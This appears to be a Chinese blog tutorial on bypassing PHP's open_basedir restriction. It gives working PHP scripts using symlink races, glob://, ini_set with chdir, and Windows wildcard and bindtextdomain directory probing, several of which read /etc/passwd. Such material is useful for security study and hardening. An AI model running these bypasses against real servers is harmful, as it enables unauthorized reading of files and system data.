Open_basedir绕过

一.基础知识

open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的

用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是

可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

我们在wwwroot目录下创建一个html文件夹和一个文本文件1.txt

其中1.txt内容为123456

html为网站根目录,下有一个index.php和test.php

其中test.php就是我们用来测试的php文件,如下

  1. <?php
  2. highlight_file("../1.txt");
  3. $file=file_get_contents('../1.txt');
  4. echo $file;
  5. ?>

在未设置open_basedir的情况下访问结果

我们设置open_basedir

即只能访问html目录下的文件

可见,无论是file_get_contents函数还是highlight_file都无效

二.命令执行函数绕过

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们将test.php修改后

可见可以无视open_basedir,但是一般都会禁用命令执行函数,所以实用价值不大

三.软链接:symlink()函数

注意: 针对 Windows:运行 PHP 于Vista、Server 2008 或更高版本才能正常使用。 之前版本的 Windows 不支持符号连接

此次实验环境:linux Ubuntu18.04.4 php 7.1.31

我们首先尝试使用symlink创建一个软链接

目标指向html目录下的error文件夹,访问后发现生成一个链接

双击进去可以访问到如下

我们保持之前的设置不变,尝试在open_basedir设置到html目录下,读取和html文件夹平行的1.txt

我们给出漏洞php内容

  1. <?php
  2. mkdir("c");
  3. chdir("c");
  4. mkdir("d");
  5. chdir("d");
  6. chdir("..");
  7. chdir("..");
  8. symlink("c/d","tmplink");
  9. symlink("tmplink/../../1.txt","exploit");
  10. unlink("tmplink");
  11. mkdir("tmplink");
  12. echo file_get_contents("http://localhost/exploit");
  13. ?>

运行后结果如下,可见在html下生成c/d/和tmplink以及exploit,而我们成功读取到了1.txt的内容

我们可以查看一下链接

exploit链接到的是tmplink/../../1.txt,而tmplink链接到c/d,相当于exploit链接到c/d/../../1.txt,路径在open_basedir规定的目录下,符合操作规范,之后删除了tmplink链接,创建了tmplink实体文件夹,相当于此时的exploit指向的就是tmplink/../../1.txt,也就成功读取到了1.txt

关于软链也可以有另一种做法,测试php如下

  1. mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
  2. symlink('/var/www/html/a/b/c/d/e/f/g','foo');
  3. ini_set('open_basedir','/var/www/html:bar/');
  4. symlink('foo/../../../../../../','bar');
  5. unlink('foo');
  6. symlink('/var/www/html','foo');
  7. echo file_get_contents('bar/etc/passwd');

原理是一样的,只不过把软链改为实体文件夹的步骤换成了重构软链目标

四.glob伪协议

glob伪协议在筛选目录时不受open_basedir制约

  1. <?php
  2. printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
  3. $file_list = array();
  4. // normal files
  5. $it = new DirectoryIterator("glob:///*");
  6. foreach($it as $f) {
  7. $file_list[] = $f->__toString();
  8. }
  9. // special files (starting with a dot(.))
  10. $it = new DirectoryIterator("glob:///.*");
  11. foreach($it as $f) {
  12. $file_list[] = $f->__toString();
  13. }
  14. sort($file_list);
  15. foreach($file_list as $f){
  16. echo "{$f}<br/>";
  17. }
  18. ?>

上述payload可在php5.3以上读取仅针对linux根目录的目录

五. 利用ini_set读取文件内容

我们给出漏洞利用脚本,由于漏洞原理复杂,有兴趣可以自己研究,这里就不叙述

  1. <?php
  2. mkdir('tmpdir');
  3. chdir('tmpdir');
  4. ini_set('open_basedir','..');
  5. chdir('..');
  6. chdir('..');
  7. chdir('..');
  8. chdir('..');
  9. chdir('..');
  10. ini_set('open_basedir','/');
  11. $a=file_get_contents('/etc/passwd');
  12. var_dump($a);
  13. ?>

注意这里的chdir("..");数量据具体环境修改,一般要求是如果再chdir一次就进入根目录为止,比如php文件的位置为/www/admin/localhost_80/wwwroot/html/下,那么就要使用五次chdir("..");

六.其他读目录方式

对于windows系统

  1. <?php
  2. ini_set('open_basedir', dirname(__FILE__));
  3. printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
  4. set_error_handler('isexists');
  5. $dir = 'd:/test/';
  6. $file = '';
  7. $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
  8. for ($i=0; $i < strlen($chars); $i++) {
  9. $file = $dir . $chars[$i] . '<><';
  10. realpath($file);
  11. }
  12. function isexists($errno, $errstr)
  13. {
  14. $regexp = '/File\((.*)\) is not within/';
  15. preg_match($regexp, $errstr, $matches);
  16. if (isset($matches[1])) {
  17. printf("%s <br/>", $matches[1]);
  18. }
  19. }
  20. ?>
  1. <?php
  2. ini_set('open_basedir', dirname(__FILE__));
  3. printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
  4. $basedir = 'D:/test/';
  5. $arr = array();
  6. $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
  7. for ($i=0; $i < strlen($chars); $i++) {
  8. $info = new SplFileInfo($basedir . $chars[$i] . '<><');
  9. $re = $info->getRealPath();
  10. if ($re) {
  11. dump($re);
  12. }
  13. }
  14. function dump($s){
  15. echo $s . '<br/>';
  16. ob_flush();
  17. flush();
  18. }

  1. <?php
  2. ini_set('open_basedir', dirname(__FILE__));
  3. printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
  4. set_error_handler('isexists');
  5. $dir = 'd:/test/';
  6. $file = '';
  7. $chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
  8. for ($i=0; $i < strlen($chars); $i++) {
  9. $file = $dir . $chars[$i] . '<><';
  10. //$m = imagecreatefrompng("zip.png");
  11. //imagefttext($m, 100, 0, 10, 20, 0xffffff, $file, 'aaa');
  12. imageftbbox(100, 100, $file, 'aaa');
  13. }
  14. function isexists($errno, $errstr)
  15. {
  16. global $file;
  17. if (stripos($errstr, 'Invalid font filename') === FALSE) {
  18. printf("%s<br/>", $file);
  19. }
  20. }
  21. ?>

以上都是windows下的列目录方式,用到了windows下通配符<>

  1. <?php
  2. printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
  3. $re = bindtextdomain('xxx', $_GET['dir']);
  4. var_dump($re);
  5. ?>

这个是linux下的方法,dir传入的参数是目录,如果目录存在,就返回目录路径,不存在就返回bool(false),用于暴力猜解目录

参考资料

https://www.jianshu.com/p/cf2cd07d02cf

https://j7ur8.github.io/WebBook/PHP/%E5%88%A9%E7%94%A8symlink%E7%BB%95%E8%BF%87open_basedir.html

https://blog.csdn.net/weixin_33810302/article/details/87981560

Open_basedir绕过的更多相关文章

  1. php open_basedir绕过

    描述 php为了安全性考虑,有一项 open_basedir 的设置,它可将用户访问文件的活动范围限制在指定的区域.根据你web服务器环境,open_basedir可以在几个地方设置. 首先 在php ...

  2. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

  3. web渗透学习目录

    一,基础学习 01.基础学习 [[编码总结]] [[JSON三种数据解析方法]] [[js加密,解密]] [[Internet保留地址和非保留地址.内网和公网.VNC和UltraVN]] 代理 [[S ...

  4. php5全版本绕过open_basedir读文件脚本

    这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...

  5. 绕过open_basedir读文件脚本

    绕过open_basedir读文件脚本 2016年11月13日 01:28:21 阅读数:1221 参加了一场2016年的sycsec感觉又学到不少东西 废话不多说,首先啥是open_basedir? ...

  6. LD_PRELOAD & putenv() 绕过 disable_functions & open_basedir

    这次TCTF中一道题,给出了一个PHP一句话木马,设置了open_basedir,disable_functions包含所有执行系统命令的函数,然后目标是运行根目录下的/readflag,目标很明确, ...

  7. php绕过open_basedir设置

    原理关于open_basedir    open_basedir是php.ini中的一个配置选项    它可将用户访问文件的活动范围限制在指定的区域,    假设open_basedir=/home/ ...

  8. php-fpm(绕过open_basedir,结合ssrf)

    环境的安装->https://www.cnblogs.com/zaqzzz/p/11870489.html 1.nginx的畸形访问 因为安装的是php7.0,所以需要手动修改一下(版本低的时候 ...

  9. PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)

    摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...

随机推荐

  1. FL Studio水果音乐制作入门教程

    "没有早期音乐教育,干什么事我都会一事无成".这并非某位音乐家精心熬制的心灵鸡汤,而是出自物理学家爱因斯坦之口,朋友们没有看错,就是那个被称为二十世纪伟大科学家的爱因斯坦,所以,别 ...

  2. 如何使Camtasia的抠像效果更真实自然

    相信大家都知道录像编辑软件Camtasia的"移除颜色"可以抠像换背景,详细操作可以看小编的另一篇教程 <如何用Camtasia为微课换上一个好看的背景>.接下来,小编 ...

  3. 导出mysql内数据 python建倒排索引

    根据mysql内数据,python建倒排索引,再导回mysql内. 先把mysql内的数据导出,先导出为csv文件,因为有中文,直接打开csv文件会乱码,再直接改文件的后缀为txt,这样打开时不会是乱 ...

  4. libev使用方法

    1. libev简介 libev是个高性能跨平台的事件驱动框架,支持io事件,超时事件,子进程状态改变通知,信号通知,文件状态改变通知,还能用来实现wait/notify机制.libev对每种监听事件 ...

  5. Java 虚拟机运行时数据区详解

    本文摘自深入理解 Java 虚拟机第三版 概述 Java 虚拟机在执行 Java 程序的过程中会把它所管理的内存划分为若干个不同的数据区域,这些区域有各自的用途,以及创建和销毁的时间,有的区域随着虚拟 ...

  6. 利用python库stats进行t检验

    ​ t检验通常分为三种,分别是单样本t检验.双样本t检验和配对样本t检验.本文基于python的scipy.stats函数对每种t检验进行了介绍和实验. 一.t检验介绍 无论哪种t检验,都有以下的基本 ...

  7. 自动化运维工具之Puppet常用资源(二)

    前文我们了解了部分puppet的资源的使用,以及资源和资源的依赖关系的定义,回顾请参考https://www.cnblogs.com/qiuhom-1874/p/14071459.html:今天我们继 ...

  8. 第15.32节 PyQt(Python+Qt)入门学习:containers容器类部件QToolBox工具箱介绍及使用案例

    老猿Python博文目录 专栏:使用PyQt开发图形界面Python应用 老猿Python博客地址 一.概述 容器部件就是可以在部件内放置其他部件的部件,在Qt Designer中可以使用的容器部件有 ...

  9. AWD不死马与克制方法

    一个简单的不死马如: <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.3.php'; ...

  10. P5857 「SWTR-03」Matrix

    原本自己有一个思路的,推了半天不太确定看了下题解,发现到后面完全不知道他代码在写些什么(我太弱了),所以打算自己理一下. 题解 首先我们可以肯定的一点就是,我们可以发现,一个矩阵的形态只和他横着和竖着 ...